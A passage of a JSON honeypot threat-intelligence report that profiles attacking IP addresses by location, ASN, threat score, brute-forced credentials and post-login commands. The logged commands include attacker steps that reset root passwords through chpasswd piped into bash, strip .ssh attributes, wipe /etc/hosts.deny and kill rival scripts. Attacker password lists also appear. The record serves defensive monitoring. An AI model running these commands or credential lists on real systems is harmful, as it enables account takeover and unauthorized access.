        "password"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"cruise\\nOk5SYgcfEcGN\\nOk5SYgcfEcGN\\n\"|passwd",
        "echo -e \"cruise\\nOk5SYgcfEcGN\\nOk5SYgcfEcGN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T14:20:12.090000+00:00",
        "last_seen_30d": "2026-03-26T16:50:07.114000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 137,
        "Suricata": 32
      }
    },
    "201.208.209.120": {
      "attack_count": 127,
      "first_seen": "2026-03-28T16:29:43.654Z",
      "last_seen": "2026-03-28T18:40:57.535Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1Qaz2wsx@",
        "3245gs5662d34",
        "Digital",
        "abc&123456",
        "admin2026$",
        "rahasia",
        "xr123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:RWyUM085FZTQ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "C\u00faa",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:29:43.654000+00:00",
        "last_seen_30d": "2026-03-28T18:51:31.290000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 127,
        "Suricata": 61
      }
    },
    "112.221.175.214": {
      "attack_count": 124,
      "first_seen": "2026-03-15T16:08:12.803Z",
      "last_seen": "2026-03-15T16:30:31.063Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "ohta",
        "1234",
        "345gs5662d34",
        "billy",
        "daemon",
        "db2inst1",
        "gpadmin",
        "mobyudal",
        "root",
        "teresa",
        "user0",
        "xoadmin"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "1qaz2wsx",
        "1qaz3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "billy",
        "dodol123",
        "mobyudal",
        "password",
        "password1234567",
        "teresa"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nqWXLD4AzUsPO\\nqWXLD4AzUsPO\\n\"|passwd",
        "echo -e \"123456\\nqWXLD4AzUsPO\\nqWXLD4AzUsPO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yangcheon-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:08:12.803000+00:00",
        "last_seen_30d": "2026-03-15T16:31:34.054000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "172.208.48.177": {
      "attack_count": 119,
      "first_seen": "2026-03-14T05:38:10.982Z",
      "last_seen": "2026-03-14T06:00:09.140Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "cron",
        "345gs5662d34",
        "andras",
        "gansizer",
        "nabesima",
        "pub",
        "search",
        "subzero",
        "vncuser",
        "word"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "123654",
        "3245gs5662d34",
        "345gs5662d34",
        "Odin1434",
        "pub",
        "test123",
        "vncuser",
        "word123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nR2T00XP99cL3\\nR2T00XP99cL3\\n\"|passwd",
        "echo -e \"1234\\nR2T00XP99cL3\\nR2T00XP99cL3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T05:38:10.982000+00:00",
        "last_seen_30d": "2026-03-14T06:01:09.483000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "51.83.187.34": {
      "attack_count": 119,
      "first_seen": "2026-03-07T14:35:14.200Z",
      "last_seen": "2026-03-07T14:56:25.812Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "gestion",
        "345gs5662d34",
        "aa",
        "bryan",
        "dell",
        "family",
        "jessica",
        "lzy",
        "root",
        "wade",
        "yzh"
      ],
      "passwords_attempted": [
        "12345678",
        "1Qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123!",
        "bryan123",
        "gestionpass",
        "jessica",
        "lzy",
        "yzh123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gestionpass\\neDCUwUdpcIJU\\neDCUwUdpcIJU\\n\"|passwd",
        "echo -e \"gestionpass\\neDCUwUdpcIJU\\neDCUwUdpcIJU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:35:14.200000+00:00",
        "last_seen_30d": "2026-03-07T14:57:30.508000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "91.134.140.4": {
      "attack_count": 119,
      "first_seen": "2026-03-14T19:13:33.255Z",
      "last_seen": "2026-03-14T19:29:27.801Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "aman",
        "345gs5662d34",
        "apexuser",
        "chenghao",
        "hik",
        "hzy",
        "onlyoffice",
        "posiflex",
        "root",
        "unity",
        "zjm"
      ],
      "passwords_attempted": [
        "1234",
        "0101",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Apexuser123!",
        "Posiflex123",
        "chenghao123",
        "hik123",
        "unity1234",
        "zjm1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nrZl5LYTIQzgw\\nrZl5LYTIQzgw\\n\"|passwd",
        "echo -e \"1234\\nrZl5LYTIQzgw\\nrZl5LYTIQzgw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:13:33.255000+00:00",
        "last_seen_30d": "2026-03-14T19:30:31.778000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "159.223.206.146": {
      "attack_count": 118,
      "first_seen": "2026-03-04T16:01:07.833Z",
      "last_seen": "2026-03-04T16:18:39.865Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A04255111@",
        "Aa@12345678",
        "a0.514",
        "a13588",
        "a1s2d3f",
        "a6685979",
        "a@q3@qpO$jjO$jgO7pz@#gO7@qpzA",
        "abcd",
        "abcd.1234",
        "abcd@1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gMnc4yFaRajv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:01:07.833000+00:00",
        "last_seen_30d": "2026-03-04T16:19:46.555000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "167.99.97.126": {
      "attack_count": 99,
      "first_seen": "2026-03-09T21:23:40.364Z",
      "last_seen": "2026-03-09T21:52:04.832Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "clawd",
        "345gs5662d34",
        "abhishek",
        "builder",
        "mahesh",
        "root",
        "socks"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "abhishekpass",
        "mahesh",
        "password",
        "test@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nAaAjGb4dOHZG\\nAaAjGb4dOHZG\\n\"|passwd",
        "echo -e \"123456\\nAaAjGb4dOHZG\\nAaAjGb4dOHZG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:23:40.364000+00:00",
        "last_seen_30d": "2026-03-09T21:53:05.663000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 21
      }
    },
    "69.12.83.39": {
      "attack_count": 99,
      "first_seen": "2026-03-06T00:38:37.793Z",
      "last_seen": "2026-03-06T00:56:34.751Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "ansible",
        "345gs5662d34",
        "emma",
        "ivan",
        "rodrigo",
        "root",
        "ruben"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "ansiblepass",
        "q1w2e3r4",
        "rodrigo123",
        "ruben1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ansiblepass\\nMbjO8aKY87qb\\nMbjO8aKY87qb\\n\"|passwd",
        "echo -e \"ansiblepass\\nMbjO8aKY87qb\\nMbjO8aKY87qb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 207083,
      "as_org": "HostSlim B.V.",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:38:37.793000+00:00",
        "last_seen_30d": "2026-03-06T00:57:38.873000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 19
      }
    },
    "209.38.82.85": {
      "attack_count": 88,
      "first_seen": "2026-03-09T19:13:10.797Z",
      "last_seen": "2026-03-09T19:31:19.512Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "Password1",
        "admin",
        "docker",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "root123",
        "toor",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:13:10.797000+00:00",
        "last_seen_30d": "2026-03-09T19:32:21.296000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 35
      }
    },
    "14.103.105.36": {
      "attack_count": 68,
      "first_seen": "2026-03-03T08:58:58.412Z",
      "last_seen": "2026-03-03T22:54:41.023Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Bingo@1993",
        "Zxc12345",
        "root2023",
        "sunshine"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:58:58.412000+00:00",
        "last_seen_30d": "2026-03-03T23:04:49.339000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 46
      }
    },
    "14.195.83.210": {
      "attack_count": 68,
      "first_seen": "2026-03-17T06:12:41.908Z",
      "last_seen": "2026-03-17T06:36:36.880Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "shoutcast",
        "345gs5662d34",
        "bitrix",
        "denis",
        "informix",
        "kingbase",
        "maxim",
        "real",
        "root",
        "sysadmin",
        "webserver"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Password@123",
        "Real123!",
        "denis",
        "kingbase123!",
        "maxim",
        "shoutcast123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gurugram",
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:12:41.908000+00:00",
        "last_seen_30d": "2026-03-17T06:37:44.878000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 28
      }
    },
    "45.55.82.3": {
      "attack_count": 60,
      "first_seen": "2026-03-12T08:20:42.361Z",
      "last_seen": "2026-03-12T08:44:04.034Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "v",
        "1234",
        "ps"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "1234",
        "12345678",
        "root@123",
        "s0l",
        "s0l@na",
        "sol123",
        "solana",
        "solana123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T08:19:16.658000+00:00",
        "last_seen_30d": "2026-03-12T08:45:06.346000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 29
      }
    },
    "64.227.155.101": {
      "attack_count": 55,
      "first_seen": "2026-03-10T18:31:08.316Z",
      "last_seen": "2026-03-10T18:44:41.636Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "123456789",
        "admin",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T18:31:08.316000+00:00",
        "last_seen_30d": "2026-03-10T18:45:45.007000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 24
      }
    },
    "182.114.201.13": {
      "attack_count": 50,
      "first_seen": "2026-03-03T13:50:06.372Z",
      "last_seen": "2026-03-03T13:55:31.173Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:50:06.372000+00:00",
        "last_seen_30d": "2026-03-03T13:56:37.875000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "45.148.10.192": {
      "attack_count": 50,
      "first_seen": "2026-03-03T22:01:05.647Z",
